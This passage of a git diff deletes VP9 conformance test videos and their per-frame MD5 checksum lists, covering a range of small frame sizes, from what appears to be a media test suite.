diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9
deleted file mode 100644
index 33817f0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5
deleted file mode 100644
index 26da4b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-835254d0eecb17bed1f2b0f3a1638165  vp90-2-02-size-10x64-10x64-0001.i420
-c0c95ce9890eab339a0e0f8b26cb095c  vp90-2-02-size-10x64-10x64-0002.i420
-f0337d645ade07cb716952b0d19352e8  vp90-2-02-size-10x64-10x64-0003.i420
-7e3deb21cb3f0ead90c8af94464cde14  vp90-2-02-size-10x64-10x64-0004.i420
-c6b1ca6cfce358c411c0637c581157c8  vp90-2-02-size-10x64-10x64-0005.i420
-10fce3f11f1ce90286ff4d74fe44fcfd  vp90-2-02-size-10x64-10x64-0006.i420
-ee0565a1f121bc905a35550619127a50  vp90-2-02-size-10x64-10x64-0007.i420
-0624b601d379616eb792c94be60b6c91  vp90-2-02-size-10x64-10x64-0008.i420
-a1bb79cdf347548f1103f580f2b6930f  vp90-2-02-size-10x64-10x64-0009.i420
-40e96e16c7e065aa7932e5aa57f32398  vp90-2-02-size-10x64-10x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9
deleted file mode 100644
index c0ffdc8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5
deleted file mode 100644
index 40a8a9a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1bd8b2d3bf679c4b925780bf82e12fae  vp90-2-02-size-10x66-10x66-0001.i420
-a0254b4cd4928fe1080cd6f8828288a9  vp90-2-02-size-10x66-10x66-0002.i420
-e416e99644cca481dc2806708d716ecb  vp90-2-02-size-10x66-10x66-0003.i420
-b1ed3203ffc77ed814f1cda7bfe721d2  vp90-2-02-size-10x66-10x66-0004.i420
-0ff7b9d84765f7b0b0650775ba72b334  vp90-2-02-size-10x66-10x66-0005.i420
-8b6cd91e035bad19b46b132bd411231d  vp90-2-02-size-10x66-10x66-0006.i420
-c714759a9a64402043ad00e5677c954c  vp90-2-02-size-10x66-10x66-0007.i420
-8e4738010b724ce66bcd0a5d5afcfbc1  vp90-2-02-size-10x66-10x66-0008.i420
-998a7aab8ed94f4b69bed39fb487f8d5  vp90-2-02-size-10x66-10x66-0009.i420
-9964683a15a65c032631a4f608e6009b  vp90-2-02-size-10x66-10x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9
deleted file mode 100644
index e14d5cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_130x132.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5
deleted file mode 100644
index 451d950..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_130x132_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-8faddcc51f9bff5759dc15c7e6f5ce3f  vp90_2_02_size_130x132.webm-130x132-0001.i420
-74fe93bd53a03c466da40d67431b6d41  vp90_2_02_size_130x132.webm-130x132-0002.i420
-3a40cd8fdab88af3d15b5d4af7d62245  vp90_2_02_size_130x132.webm-130x132-0003.i420
-5c232e8e11f4254f9bf437dcf91418b9  vp90_2_02_size_130x132.webm-130x132-0004.i420
-eb7f2d1700705697d05e322abe12d732  vp90_2_02_size_130x132.webm-130x132-0005.i420
-f3accfe25de02102fd996622f9b43499  vp90_2_02_size_130x132.webm-130x132-0006.i420
-270a3780fc7b84afbe8a340bc2e61871  vp90_2_02_size_130x132.webm-130x132-0007.i420
-c169f3a5d566a1a4afde6c309f1e4644  vp90_2_02_size_130x132.webm-130x132-0008.i420
-48b6fefacb63f286096fb0b65f8bc7c4  vp90_2_02_size_130x132.webm-130x132-0009.i420
-fcc24b1b542545bab9e45b9d79f6b41f  vp90_2_02_size_130x132.webm-130x132-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9
deleted file mode 100644
index 5282d3d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x130.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5
deleted file mode 100644
index 415deb4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x130_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d75a9541df281c3fb1cd24f8be0788b3  vp90_2_02_size_132x130.webm-132x130-0001.i420
-a060549076fbf8856925c7f4a0e007b3  vp90_2_02_size_132x130.webm-132x130-0002.i420
-73ecf525a1a395deed6a7256e2c501d0  vp90_2_02_size_132x130.webm-132x130-0003.i420
-ec636e97f829b3457b7adda98c1c3580  vp90_2_02_size_132x130.webm-132x130-0004.i420
-f56f3f415b6b5d12fb5824aa82365cb3  vp90_2_02_size_132x130.webm-132x130-0005.i420
-376735c39fea4c2f48b8d2d260f9b73e  vp90_2_02_size_132x130.webm-132x130-0006.i420
-c616f543aaa73342b561f08ec24d9792  vp90_2_02_size_132x130.webm-132x130-0007.i420
-b86a6ecf6e5df70b9505861bcc8ac95e  vp90_2_02_size_132x130.webm-132x130-0008.i420
-1d9bc98446d2068fe37abc60abce0d28  vp90_2_02_size_132x130.webm-132x130-0009.i420
-febd071a35d2407e29f72c46f14f4667  vp90_2_02_size_132x130.webm-132x130-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9
deleted file mode 100644
index 7c36464..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x132.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5
deleted file mode 100644
index cb04a76..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_132x132_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5dc0ef6d1452bf220dfe752b9c0a6081  vp90_2_02_size_132x132.webm-132x132-0001.i420
-cdec24d8945577908cd05a3254edc1ea  vp90_2_02_size_132x132.webm-132x132-0002.i420
-ce4978e6ab380156c33943b225145af2  vp90_2_02_size_132x132.webm-132x132-0003.i420
-516c9256ab785f04f41fa7b44ac89e6d  vp90_2_02_size_132x132.webm-132x132-0004.i420
-16071c396c07639360260d6544bbc198  vp90_2_02_size_132x132.webm-132x132-0005.i420
-8876317adaf2ee98682b0dbfa50b9cbc  vp90_2_02_size_132x132.webm-132x132-0006.i420
-a30299b275dfd0a08191f6a9f6633138  vp90_2_02_size_132x132.webm-132x132-0007.i420
-49b3e47e41d00cc283d3906bde82abc7  vp90_2_02_size_132x132.webm-132x132-0008.i420
-a922b8d8d9883b5fd05358724a1a84c2  vp90_2_02_size_132x132.webm-132x132-0009.i420
-1bc5c3b99f979087cd6065a9894b0d6d  vp90_2_02_size_132x132.webm-132x132-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9
deleted file mode 100644
index 4de0d73..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5
deleted file mode 100644
index 3e3e92a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-68dccd167f9aa18df0840ebb8715eb68  vp90-2-02-size-16x08-16x8-0001.i420
-65c90bb99fdbee7abf21031d34cb18dc  vp90-2-02-size-16x08-16x8-0002.i420
-9ef1feb2dcbd4d73f3ee84e9e1cd2668  vp90-2-02-size-16x08-16x8-0003.i420
-b6281f7c88e9aa132d3902046f8cde5a  vp90-2-02-size-16x08-16x8-0004.i420
-4b439b716a294bddf9f56a229705907b  vp90-2-02-size-16x08-16x8-0005.i420
-d42c0a6f0d24522c90bc2233bc1df2c7  vp90-2-02-size-16x08-16x8-0006.i420
-74b763a5a12c4c4a581efb1818a92970  vp90-2-02-size-16x08-16x8-0007.i420
-0c3a0916ddfda5abdd3ac382f036e71f  vp90-2-02-size-16x08-16x8-0008.i420
-26ff590e8ae726f70e8b36f5eaee7a19  vp90-2-02-size-16x08-16x8-0009.i420
-30fa5810995d7132387ea585c4a1cc3a  vp90-2-02-size-16x08-16x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9
deleted file mode 100644
index 541937a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5
deleted file mode 100644
index 9e00483..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fb3cad61d7d9eb511758dbf87dd8abe1  vp90-2-02-size-16x10-16x10-0001.i420
-4fbc1aa5559c8db2930803893bd6ba75  vp90-2-02-size-16x10-16x10-0002.i420
-2d8e2ee04dcc6097ca9e3f27070cdcc8  vp90-2-02-size-16x10-16x10-0003.i420
-05d419f1322855ba3620665b68ce9910  vp90-2-02-size-16x10-16x10-0004.i420
-b004f8d88cb2c94f4e9a13cfa5bd480a  vp90-2-02-size-16x10-16x10-0005.i420
-9d9dec90e2213c0411939131aa9adf7f  vp90-2-02-size-16x10-16x10-0006.i420
-a00874356ff1b1e9da1a400424661f8d  vp90-2-02-size-16x10-16x10-0007.i420
-fda587eb6323cd98c773f05905ac1794  vp90-2-02-size-16x10-16x10-0008.i420
-781c63d221a04d8130806c799d16753a  vp90-2-02-size-16x10-16x10-0009.i420
-f346e311829f3789dc5a94da48ada5f4  vp90-2-02-size-16x10-16x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9
deleted file mode 100644
index 4b7f230..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5
deleted file mode 100644
index 11de2b8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b5c9daafa548e54a8e33e9881fda33f4  vp90-2-02-size-16x16-16x16-0001.i420
-1193acd7ea4b7aac968e35ef83c64378  vp90-2-02-size-16x16-16x16-0002.i420
-cd0e42c0b5a8b3be6f0e1d224062bf99  vp90-2-02-size-16x16-16x16-0003.i420
-ed79c71d17f68f86cbfa75ea2bfe97f3  vp90-2-02-size-16x16-16x16-0004.i420
-1502a859c7e07b31faad5b80e3e27cf7  vp90-2-02-size-16x16-16x16-0005.i420
-df3f093da914ea947db93c3baa188ecb  vp90-2-02-size-16x16-16x16-0006.i420
-480f86eb183b99277c1b38fdaafe2970  vp90-2-02-size-16x16-16x16-0007.i420
-023e0114282e04963f0f52e00e65ac61  vp90-2-02-size-16x16-16x16-0008.i420
-e67f29cf0acc7f9b553458e1e5c59ebf  vp90-2-02-size-16x16-16x16-0009.i420
-a779a14ba718f0c1df8a7edc9467d12e  vp90-2-02-size-16x16-16x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9
deleted file mode 100644
index de0bddc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5
deleted file mode 100644
index 7dcc81a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5156b11cd9995d0c1638c9b0d2b0786c  vp90-2-02-size-16x18-16x18-0001.i420
-ef78557f93fb3ea770c7d49ab60edf21  vp90-2-02-size-16x18-16x18-0002.i420
-f31fb9bb14566e4538a45ac7bf398b2a  vp90-2-02-size-16x18-16x18-0003.i420
-97633875537f76ade183e975fa91b0fb  vp90-2-02-size-16x18-16x18-0004.i420
-602cf54f9af852175173c21abd63796f  vp90-2-02-size-16x18-16x18-0005.i420
-0b3741a6842cb65d6d21eda891882033  vp90-2-02-size-16x18-16x18-0006.i420
-44240a27a6b6d36c9661d499fb965f87  vp90-2-02-size-16x18-16x18-0007.i420
-9050f263f9a4767f9323ec8aa42cf7e6  vp90-2-02-size-16x18-16x18-0008.i420
-57fa3a8494375f588a95376bc0c3cb28  vp90-2-02-size-16x18-16x18-0009.i420
-084595f2a65aa10e7d3845044a0e7213  vp90-2-02-size-16x18-16x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9
deleted file mode 100644
index 35371d5..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5
deleted file mode 100644
index f7b1555..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c73d611490a5ddec6c690589deaf5e86  vp90-2-02-size-16x32-16x32-0001.i420
-5d8eaeb222aa64abda59ce7b09b2f6d9  vp90-2-02-size-16x32-16x32-0002.i420
-34321856b8dd5bbb9b63db04d3532289  vp90-2-02-size-16x32-16x32-0003.i420
-947337d2fec8a09242f60e31e99f4065  vp90-2-02-size-16x32-16x32-0004.i420
-bb7d92f6fc055f0cf0e97bd2be56cc9e  vp90-2-02-size-16x32-16x32-0005.i420
-5d343c82bcdd0e9d08581043cddfd0ca  vp90-2-02-size-16x32-16x32-0006.i420
-612ded93207712e4916d584cc4a7b87c  vp90-2-02-size-16x32-16x32-0007.i420
-6ba5e0d19893e1b96f5ca86e0bfd7e18  vp90-2-02-size-16x32-16x32-0008.i420
-336572e1dcb110b1eb87bea81e0752f4  vp90-2-02-size-16x32-16x32-0009.i420
-705f73d0a39afce59ea571e68bfe25df  vp90-2-02-size-16x32-16x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9
deleted file mode 100644
index a9c1024..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5
deleted file mode 100644
index 169e06c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b8bf711d9a1ce49180ed56407c8a4b0a  vp90-2-02-size-16x34-16x34-0001.i420
-0457929b06ce46aec63d66bd38586e3f  vp90-2-02-size-16x34-16x34-0002.i420
-3b5f417ee5a936797a6f0d138b8ed73b  vp90-2-02-size-16x34-16x34-0003.i420
-5d1a42aeecfd5c8513cb2df94c206c8b  vp90-2-02-size-16x34-16x34-0004.i420
-a0ab2dddbc810a1667d779f6ed69d010  vp90-2-02-size-16x34-16x34-0005.i420
-b150cd7c4ec83e6f9d948e99d7465350  vp90-2-02-size-16x34-16x34-0006.i420
-ea39622ad21312bd8bcecdaf09aa18fb  vp90-2-02-size-16x34-16x34-0007.i420
-467a42e1226a01c8ba244f312f588bab  vp90-2-02-size-16x34-16x34-0008.i420
-f2311e15228ffc7fd377b89c203d0fbf  vp90-2-02-size-16x34-16x34-0009.i420
-5df58b3ac0a7856796a46f27be7dcf4c  vp90-2-02-size-16x34-16x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9
deleted file mode 100644
index 4f9d19c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5
deleted file mode 100644
index 5b981881..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-925fdc485f3baa1ed145ae391519d7fd  vp90-2-02-size-16x64-16x64-0001.i420
-d37af656da2d7a727c8451773495d5ed  vp90-2-02-size-16x64-16x64-0002.i420
-8a0f207a99e46f3d3b2aaa3f1b061981  vp90-2-02-size-16x64-16x64-0003.i420
-a3914c7b739d3af2641fd6aae35428ef  vp90-2-02-size-16x64-16x64-0004.i420
-0ba3b49970d7b029f2dfa991fdfc6e61  vp90-2-02-size-16x64-16x64-0005.i420
-55838d1d787dc5a4fa4da2994f04587f  vp90-2-02-size-16x64-16x64-0006.i420
-c089f7ba2b2983df2a4dc2e07798af31  vp90-2-02-size-16x64-16x64-0007.i420
-c23dcb3b109543a61ccfa404a726caae  vp90-2-02-size-16x64-16x64-0008.i420
-01aaf09960f5ca599ca32768f017d0c9  vp90-2-02-size-16x64-16x64-0009.i420
-79fe955692ecba8bbb00b20a42ca8104  vp90-2-02-size-16x64-16x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9
deleted file mode 100644
index 4499869..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5
deleted file mode 100644
index 34f48af..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_16x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c7b0d91f362dff0a581434af6e902d43  vp90-2-02-size-16x66-16x66-0001.i420
-d8b016ef59c6bc193b29d1c714f342c1  vp90-2-02-size-16x66-16x66-0002.i420
-c520bd8d4b81aafc7687befff66c7396  vp90-2-02-size-16x66-16x66-0003.i420
-92e81bbd3af675c9cdb1cb00d03dabe1  vp90-2-02-size-16x66-16x66-0004.i420
-a271db3defe5daa6d9e0a73a580f4f88  vp90-2-02-size-16x66-16x66-0005.i420
-4077e857321e241bb98dfd89c0aca46f  vp90-2-02-size-16x66-16x66-0006.i420
-0466e1453a94baf876e9f64b60235300  vp90-2-02-size-16x66-16x66-0007.i420
-9d2cb9c7b180d44841e0e4d8a595d912  vp90-2-02-size-16x66-16x66-0008.i420
-500f443eeb0ecef47c34d1e91f0df6ce  vp90-2-02-size-16x66-16x66-0009.i420
-83354487982915c33b1c6243d80adaeb  vp90-2-02-size-16x66-16x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9
deleted file mode 100644
index c7f72dc..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_178x180.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5
deleted file mode 100644
index 8af554c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_178x180_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ca7515c880d0a8230432e77abf3e3d33  vp90_2_02_size_178x180.webm-178x180-0001.i420
-7612d57deeb9d947529f73dd1b64a08d  vp90_2_02_size_178x180.webm-178x180-0002.i420
-a230690af19b975ffaca630e84e648fe  vp90_2_02_size_178x180.webm-178x180-0003.i420
-c6f829cb3462fcc0f7259819797c3283  vp90_2_02_size_178x180.webm-178x180-0004.i420
-3d13df53df5abb8d7602ffb0a3c89bb6  vp90_2_02_size_178x180.webm-178x180-0005.i420
-08ed7474c5630c1d7de6e32906f8b62f  vp90_2_02_size_178x180.webm-178x180-0006.i420
-d09e4324a86be4e4141fcd72b855744b  vp90_2_02_size_178x180.webm-178x180-0007.i420
-2934746d377ee23fd3eaeea27d049210  vp90_2_02_size_178x180.webm-178x180-0008.i420
-9cbad3dfc8a5665f57f483fede1ac91c  vp90_2_02_size_178x180.webm-178x180-0009.i420
-9c2dc6879c5778f293db30eac2fe7103  vp90_2_02_size_178x180.webm-178x180-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9
deleted file mode 100644
index 340be2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x178.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5
deleted file mode 100644
index dd72479..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x178_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-461aa52a5658cbb30320be36bf42867d  vp90_2_02_size_180x178.webm-180x178-0001.i420
-a6c5fb033c04b5bdbe47a07a2ea8a001  vp90_2_02_size_180x178.webm-180x178-0002.i420
-de1d2789826b143aaae0b7c337332a69  vp90_2_02_size_180x178.webm-180x178-0003.i420
-aaf60e6369a72ea8fe47b3767b6b4aef  vp90_2_02_size_180x178.webm-180x178-0004.i420
-40c6bfaf1f4bcd39d6c6cf588ea445cb  vp90_2_02_size_180x178.webm-180x178-0005.i420
-3bfe6508595fb0c000c196cb6387531b  vp90_2_02_size_180x178.webm-180x178-0006.i420
-b70dcaad6d9dd7fe378b323460c3a243  vp90_2_02_size_180x178.webm-180x178-0007.i420
-201fce98c70f2623196a44e40a4850ac  vp90_2_02_size_180x178.webm-180x178-0008.i420
-aba16ce70b06355a025d003d6974790b  vp90_2_02_size_180x178.webm-180x178-0009.i420
-39220f4dd594972d258788528d19460c  vp90_2_02_size_180x178.webm-180x178-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9
deleted file mode 100644
index c01cc6f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x180.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5
deleted file mode 100644
index f257f21..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_180x180_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-325a336bcaf9987ab1ad3f6a7328d2be  vp90_2_02_size_180x180.webm-180x180-0001.i420
-e7d73157a4861d98318240b60d157f55  vp90_2_02_size_180x180.webm-180x180-0002.i420
-1db60eb53a9756c751325942a021b36e  vp90_2_02_size_180x180.webm-180x180-0003.i420
-c0adb82dc19f4cabcebd18f0d7712ee5  vp90_2_02_size_180x180.webm-180x180-0004.i420
-35b768881097c1e6b99814e4fbf905d1  vp90_2_02_size_180x180.webm-180x180-0005.i420
-c3af16f1334c6baa0a51086f57c7cfd5  vp90_2_02_size_180x180.webm-180x180-0006.i420
-d30718f4a93162e7752e5177096718ee  vp90_2_02_size_180x180.webm-180x180-0007.i420
-b73f17d3affa5a9f69273579c09f4566  vp90_2_02_size_180x180.webm-180x180-0008.i420
-f596f4234d2486985a2d94ce73bd72ad  vp90_2_02_size_180x180.webm-180x180-0009.i420
-aab77693ee7b744c81a0b913f5318ac2  vp90_2_02_size_180x180.webm-180x180-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9
deleted file mode 100644
index c1b063e..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5
deleted file mode 100644
index 19f6cbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3219af4ef540636b0f67a989e9966059  vp90-2-02-size-18x08-18x8-0001.i420
-1a3655c2cfd2ee332bc89da5b3faf778  vp90-2-02-size-18x08-18x8-0002.i420
-d638d5b361a6d81440e26993ed86c97d  vp90-2-02-size-18x08-18x8-0003.i420
-d9bc2e7cffd66db4ba9dcbce99448d4d  vp90-2-02-size-18x08-18x8-0004.i420
-399f962e0a0573915bc4da4a9f1effcf  vp90-2-02-size-18x08-18x8-0005.i420
-69d917e19b903e4f07f848e9e557bbe7  vp90-2-02-size-18x08-18x8-0006.i420
-d6311488a58acf6eb0cc45bc4fe3c2da  vp90-2-02-size-18x08-18x8-0007.i420
-0ce360a84d5755307f98d65c83f190e1  vp90-2-02-size-18x08-18x8-0008.i420
-2554828e6dbf94424ccac30fb153872e  vp90-2-02-size-18x08-18x8-0009.i420
-598a55f9735e85b8d45105dd6be7f97b  vp90-2-02-size-18x08-18x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9
deleted file mode 100644
index 5b1d1f4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5
deleted file mode 100644
index f79825a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bf574489e9360b6475aa012c747e7924  vp90-2-02-size-18x10-18x10-0001.i420
-851100301c2937312a6fd32f5aab5a09  vp90-2-02-size-18x10-18x10-0002.i420
-0f7c1209e44ea7cd4df12d82f9224684  vp90-2-02-size-18x10-18x10-0003.i420
-28d121f9c40de5280435bfdeaec0c072  vp90-2-02-size-18x10-18x10-0004.i420
-bb00898d03ce4dff5f7bee719dd3f5b5  vp90-2-02-size-18x10-18x10-0005.i420
-a098cc66bc25b81f84b0e930b0915cdb  vp90-2-02-size-18x10-18x10-0006.i420
-81e25f19bfcbfce17bd7138eedae04ee  vp90-2-02-size-18x10-18x10-0007.i420
-69c36c5ce555a461f16a1733450f7258  vp90-2-02-size-18x10-18x10-0008.i420
-c95236d9e7c624bb664310bd9ef47fb4  vp90-2-02-size-18x10-18x10-0009.i420
-7ab0942e686939951037314e9402d2c1  vp90-2-02-size-18x10-18x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9
deleted file mode 100644
index f27acd1..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5
deleted file mode 100644
index aeafea2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_18x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-9535aaa2ea26fbdc16e7fe9cba3fc9b4  vp90-2-02-size-18x16-18x16-0001.i420
-7f6e7ca33c0b27ff052dc2ab6721e37d  vp90-2-02-size-18x16-18x16-0002.i420
-d37e3f169457a9c7f2a197353e39d3d6  vp90-2-02-size-18x16-18x16-0003.i420
-f26d7d81dd81d051680ea2485e812705  vp90-2-02-size-18x16-18x16-0004.i420
-704b01955ced6d101b9e9315d3327f28  vp90-2-02-size-18x16-18x16-0005.i420
-30d46d6a0f6be383dede451cacf465f4  vp90-2-02-size-18x16-18x16-0006.i420
-83c7ed04f0af61ec665041967cbce05d  vp90-2-02-size-18x16-18x16-0007.i420
-152daf37dd37607886c50dd4c7796357  vp90-2-02-size-18x16-18x16-0008.i420
-609d807351ba74b1c432e3d0516add91  vp90-2-02-size-18x16-18x16-0009.i420
-67953f0c735984232cb6782217cdcdf6  vp90-2-02-size-18x16-18x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_18x18.vp9
deleted file mode 100644
index 35ec6a7..0000000
